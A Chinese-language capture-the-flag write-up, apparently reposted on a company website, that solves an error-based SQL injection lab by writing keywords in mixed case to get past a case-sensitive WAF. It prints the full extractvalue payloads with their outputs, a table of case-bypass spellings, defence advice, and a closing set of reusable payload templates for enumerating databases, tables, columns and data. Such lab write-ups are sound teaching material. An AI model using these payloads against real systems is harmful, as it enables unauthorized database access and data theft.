资讯动态

白帽江湖实战靶场SQL注入篇:SQL注入 - 报错注入(大小写过滤)

发布时间:2026/9/11 7:53:43 来源:尧图企业网站定制
SQL注入报错注入大小写绕过靶场通关记录靶场地址白帽江湖 SQL注入报错注入大小写绕过说明本文仅记录在该授权靶场中的测试过程用于学习报错型 SQL 注入结合大小写绕过 WAF 的思路。1. 题目分析靶场描述企业新闻平台增加了基础WAF防护对union、select、extractvalue等常见SQL注入关键词进行了过滤拦截。但过滤规则存在大小写敏感缺陷尝试利用大小写混写绕过WAF获取flag。核心信息注入类型报错注入WAF类型关键词检测基础版大小写敏感绕过方式大小写混写如SeLeCt、eXtRaCtVaLuE2. 信息收集2.1 页面初探打开靶场后页面标题是星耀资讯 - 企业内部新闻平台内容区展示了几篇文章列表年度优秀员工评选服务器迁移计划新员工入职培训通知Q1季度安全审计报告公司2026年度战略规划发布页面顶部有安全提示⚠️ 安全防护已开启关键词检测基础版2.2 定位接口通过查看页面源码发现文章通过loadArticle(id)函数加载核心请求为fetch(query.php?idencodeURIComponent(id))因此注入点在query.php的id参数。3. 注入点确认3.1 正常访问GET /query.php?id1返回正常文章数据{code:0,data:{id:1,title:公司2026年度战略规划发布,...}}3.2 单引号测试GET /query.php?id1返回数据库报错确认存在注入{code:1,msg:Database Error: SQLSTATE[42000]: ... near at line 1}4. WAF探测4.1 测试 union 关键字GET /query.php?id1 union select 1,2,3,4,5,6,7被拦截{code:1,msg:⚠️ 安全警告检测到危险关键词 [union]请求已被拦截}4.2 大小写绕过测试GET /query.php?id1 UnIoN SeLeCt 1,2,3,4,5,6,7成功绕过返回正常数据4.3 测试其他关键词关键词原始写法大小写绕过结果union被拦截UnIoN通过select被拦截SeLeCt通过extractvalue被拦截eXtRaCtVaLuE通过updatexml含update被拦截未测试update被拦截-WAF 的过滤规则是全小写匹配因此大小写混写即可绕过。注updatexml因为包含子串update也被拦截但extractvalue大小写绕过可用所以选择extractvalue作为报错函数。5. 报错注入获取数据5.1 获取数据库名使用extractvalue函数触发 XPath 报错通过concat拼接目标数据GET /query.php?id1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT database()),0x7e))返回XPATH syntax error: ~vuln_db~当前数据库名为vuln_db5.2 获取表名从information_schema.tables中枚举当前库的所有表GET /query.php?id1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(table_name) fRoM information_schema.tables wHeRe table_schemadatabase()),0x7e))返回XPATH syntax error: ~secret_flags,articles~两张表secret_flags和articles其中secret_flags很可能存储着 flag。5.3 获取字段名查看secret_flags表的列结构GET /query.php?id1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(column_name) fRoM information_schema.columns wHeRe table_name0x7365637265745f666c616773),0x7e))注secret_flags使用十六进制编码0x7365637265745f666c616773以避免字符串引号问题。返回XPATH syntax error: ~id,flag_name,flag_value~三个字段id,flag_name,flag_value5.4 获取 flag直接查询secret_flags表中的数据GET /query.php?id1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(flag_name,0x3a,flag_value) fRoM secret_flags),0x7e))返回被截断extractvalue 默认输出长度限制为 32 字符改为只查 flag_valueGET /query.php?id1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT flag_value fRoM secret_flags wHeRe flag_nameflag),0x7e))返回XPATH syntax error: ~flag{err0r_c4s3_s3ns1t1v3}~6. 结果最终 Flagflag{err0r_c4s3_s3ns1t1v3}7. 完整攻击链复盘页面分析 → 定位 query.php?id 接口 ↓ 单引号测试 → 确认 SQL 注入点 ↓ WAF 探测 → 发现 union/select/extractvalue 被全小写匹配过滤 ↓ 大小写绕 WAF → UnIoN / SeLeCt / eXtRaCtVaLuE 绕过检测 ↓ 报错注入 → extractvalue 触发 XPath 错误回显 ↓ database() → 获取库名 vuln_db ↓ information_schema.tables → 获取表名 secret_flags ↓ information_schema.columns → 获取字段名 flag_name, flag_value ↓ 查询 secret_flags → 获取 flag{err0r_c4s3_s3ns1t1v3}8. 关键点总结8.1 WAF 绕过技巧本题 WAF 的过滤规则是基于全小写关键词匹配实现简单但有明显缺陷检测到union→ 拦截但UnIoN不匹配小写规则 → 放过检测到select→ 拦截但SeLeCt不匹配 → 放过检测到extractvalue→ 拦截但eXtRaCtVaLuE不匹配 → 放过8.2 绕过方式汇总SQL 关键字原始写法绕过写法SELECTselectSeLeCt,sElEcT,SELECT等UNIONunionUnIoN,uNiOn等FROMfromfRoM,FrOm等WHEREwherewHeRe,WhErE等EXTRACTVALUEextractvalueeXtRaCtVaLuE等GROUP_CONCATgroup_concatgRoUp_cOnCaT等8.3 extractvalue 长度限制extractvalue()报错输出默认最大长度为32 字符当拼接的数据超过该长度时会被截断。如果 flag 较长可以通过以下方式解决直接查单个字段本题使用的方法SELECT flag_value FROM secret_flags WHERE flag_nameflag使用 substr 分段截取substr(flag_value, 1, 32)和substr(flag_value, 32, 64)使用 updatexml如果没被拦截updatexml()同样有 32 字符限制9. 防御建议针对此类攻击防御方应该不依赖大小写过滤使用不区分大小写的匹配方式如转换为统一大小写后再匹配使用参数化查询从根本上杜绝 SQL 注入关闭错误回显生产环境不应暴露数据库错误信息使用正则表达式检测如/\b(union|select|extractvalue)\b/i加上i标志进行大小写不敏感匹配10. 可直接复用的 payload 模板大小写绕过测试?id1 UnIoN SeLeCt 1,2,3获取数据库名?id1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT database()),0x7e))枚举表名?id1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(table_name) fRoM information_schema.tables wHeRe table_schemadatabase()),0x7e))枚举字段名?id1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(column_name) fRoM information_schema.columns wHeRe table_name表名),0x7e))获取数据?id1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(字段名) fRoM 表名),0x7e))

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价